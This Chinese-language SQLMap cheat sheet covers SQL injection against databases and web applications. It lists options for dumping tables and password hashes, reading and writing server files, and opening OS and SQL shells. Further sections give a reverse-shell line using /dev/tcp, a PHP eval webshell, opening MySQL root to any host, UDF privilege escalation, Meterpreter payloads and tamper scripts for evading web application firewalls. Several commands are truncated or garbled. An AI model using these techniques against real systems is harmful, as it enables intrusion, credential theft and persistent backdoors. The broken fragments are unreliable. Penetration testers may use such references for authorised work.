SQLMap使用总结
阅读原文时间:2023年07月10日阅读:1

支持模式:布尔/时间/报错/联合查询/堆查询
支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
支持系统 Windows/Linux
更新 python sqlmap.py --update
参数
-v 输出详情
--dbs 数据库名判断
--tables –D "cms" cms库表名判断
-T 表
-D 库
-C 列
--start 数据截取
--stop
--frist
--last
--dump-all 获取所有数据库表内容
--search 寻找特定的库/表/列
--columns -T "cms_users" -D "cms" cms.cms_users表的列名称
--dump -C "password,userid,username" -T "cms_users" -D "cms" B19 对cms.cms_users中的password,userid,username列进行破解(字段爆破)
--dump –D "cms" 对cms数据库暴力破解:cms数据库信息/数据库管理员账号信息破解
--data='id=546' --dbs post注入(get/post都适用)
-r json格式参数
-f 指纹
--users 数据库账号
--passwords 列出hash爆破
--banner 数据库信息
--dbs 数据库枚举
-a 全选
-d 连接数据库 -d "mysql://user:passward@地址:端口/数据库名称"
-m get请求批量测试 sqlmap -m list.txt
-g google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p 指定检查的变量
-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数
-t 记录流量文件保存位置
-z 参数助记符(sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1)
-c 加载sqlmap.conf文件相关配置
--param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用
--charset 字符编码
--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度,一般设置为3
--flush-session 清空之前的session
-forms 从-u中的url获取页面中的表单进行测试
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式
--parse-errors 分析和现实数据库内建报错信息
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf 
--hpp 绕过waf的有效方法,尤其对asp/iis和asp.net、iis
--answers 自动输入自己想要的答案
–beep 发现sql注入时,发出蜂鸣声
--cleanup 清理sqlmap的UDF(s)和表
--disable-coloring 禁用彩色输出
--gpage 使用指定的Google结果页面
--mobile  模拟智能设备(有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆)
--batch yes
--skip 排除检测变量
--dbms 指定数据库类型
--os 指定操作系统
--cookie cookie
--load-cookies
--drop-set-cookie
* 测试value1的位置是否可注入:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
--alert 成功注入时发出警告
--level 注入模式等级
--user-agent 浏览器的信息
--random-agent 随机产生user-agent头,从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息
--host
--referer
--headers 每个头单独一行,可以使用\n来换行(名称区分大小写)
--proxy --proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass" 需做身份验证时
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)
--delay 
--csv-del 规定输出到CSV中的分隔符
--dbms-cred DBMS身份验证
--dump-format 定义dump数据的格式(输出的格式可定义为:CSV,HTML,SQLITE)
--eta 计算注入数据的剩余时间
--timeout 默认30秒
--retries http(s)连接超时重传次数,默认3次
--tamper dpkg -L sqlmap | grep  tamper 查看脚本
--risk 风险等级
--current-user 当前数据库管理系统的帐号
--current-db 当前数据库的名称
--hostname 机器的主机名
--users 数据库管理系统所有的帐号  
--users         数据库管理系统所有的帐号  
--privileges   查看所有用户权限,加 -U username  指定用户名(CU 表示当前帐号)
--roles       角色
--dbs  查看所有的数据库
--tables 列举数据库表
--exclude-sysdbs  排除系统数据库
--count   列举数据库表中的字段
--schema -batch 批处理,全部使用默认选项
--is-dba    判断当前的用户是否为管理,是的话会返回True。
--count    获取表中数据个数
valuel/user  ->valuel*/user 伪静态
--common-tables 暴力破解表名
--common-columns access系统表无列信息,暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加
–udf-inject,–shared-lib 用户自定义函数注入
--file-read 读取系统文件,如--file-read="E:/eula.1028.txt"
--file-write/--file-dest 文件上传到数据库服务器 --file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"
--sql-query 注入方式检测
--sql-shell 写入命令(远程命令执行)
--os-shell
--os-cmd
into outfile 写入web后门(支持ASP、ASP.NET、JSP、PHP)
--string 返回页面真假判断
--not-string
--regexp
--code
--text-only
--titles
--reg-read 对Windows注册表操作
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
--randomize "可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址"
--scope
--scope 关掉URL参数值编码(默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据)
--eval "每次请求前执行指定的python代码(每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入) --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"""
--threads=THREADS 最大并发线程(盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容)
--keep-alive  使用http(s)长连接,性能好,与--proxy参数不兼容
--null-conection 只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)
--predict-output   根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt
--invalid-bignum  /--invalid-logical 默认情况下sqlmap使用负值使参数失效 id=13->id=-13,bignum使用大数使参数值失效 id=999999
logical 使用布尔判断使值失效 id=3 and 1=2
--no-cast sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果,老版本mysql数据库需要开启此开关
--no-escape 不逃逸,关闭使用char替换字符串功能,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串,select 'foo' ->select char(102)+char(111)+char(111)
--prefix 加前缀
--sufix 加后缀
--time-sec 设定延迟注入的时间
--union-cols 默认联合查询1-10列,随-level增加最多支持50列
-union-char 联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值 
--second-order 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假
--purge-output   清空output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 引导填入参数进行注入
--auth-type Basic --auth-cred "user:pass" 如--union-char 123
Basic     基本身份验证
Digest    摘要式身份认证
NTLM      NTLM身份验证(windows)
--auth-file="ca.PEM"
--auth-cert 含有私钥的PEM格式证书文件或PEM格式的证书链文件
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
–output-dir 默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
--os-pwn Meterpreter配合使用
--os-smbrelay
-os-bof
–priv-esc
–msf-path
–tmp-path
风险等级
--risk(risk高会造成update更改数据)
默认1(无害)
2(添加基于事件的测试语句)
3 (增加OR语句的SQL注入测试)

探测方法

--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

显示模式

-v
、只显示python错误以及严重的信息。
、同时显示基本信息和警告信息。(默认)
、同时显示debug信息。
、同时显示注入的payload。
、同时显示HTTP请求。
、同时显示HTTP响应头。
、同时显示HTTP响应页面。

批量sql注入

-m
--scope 使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入
sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)"
sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)"

SQLMap - 数据库注入 - Access

--tables -暴力破解表名

post请求注入
sqlmap -l log.txt 使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap -r 1.txt 可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

cookie注入
必须使用--cookie选项/level大于等于2
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入
--cookie cookie
--load-cookies
--drop-set-cookie 拒接Set-Cookie

uesr-agent注入
lever>=3

host注入
level=5

referer注入
level>=3

避免过多的错误请求被屏蔽
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

Webshell获取

()直接连接数据库
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
()通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/>&1
()反弹到服务器192.,在实际中192.168.1.3为外网独立IP
()通过echo命令生成shell:
echo “<?php@eval($_POST[.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新
命令可参考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题

(5)sqlmap -u url--os-shell  (6)sqlmap注入点获取webshell sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令获取

udf提权

连接mysql数据打开一个交互shell:
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\"

waf
检测
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf

Waf - 绕过

参数绕过
--random-agent -v WAF配置不当,使用任意浏览器进行绕过
--hpp -v 在ASP.NET/IIS 平台上,使用HTTP 参数污染进行绕过
--delay= --time-sec= 使用长的延时来避免触发WAF的机制,这方式比较耗时
proxy= --proxy-cred=: 使用代理进行注入
自带模块绕过
--tamper=A.py,B.py/--random-agent -v -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
space2comment.py 用/**/代替空格
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号,随机字符串以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py (mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py 双重查询语句,取代SQL关键字
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALLSELECT UNION SELECT
charencode.py  url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPCaddslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py 关键字前加注释"

特殊情况
--common-tables 暴力破解表名(暴力破解的表在txt/common-tables.txt文件中)
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
--common-columns 暴力破解列名

自定义模块
Sqlmap字符转换 "SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if 'SELECT' in retVal:
retVal = retVal.replace('SELECT','/**/SELECT')
return retVal
命名为 select2select 放在sqlmap tamper 目录下面,然后与其他模块一起使用,中间用逗号隔开

SQLMap中使用Meterpreter
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

局限性
sqlmapapi不支持POST注入
mysql<5.0,没有information schema库
mysql<=5.0,但无权限读取information schema库
 微软的access数据集,默认无权读取mysysobjects库

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章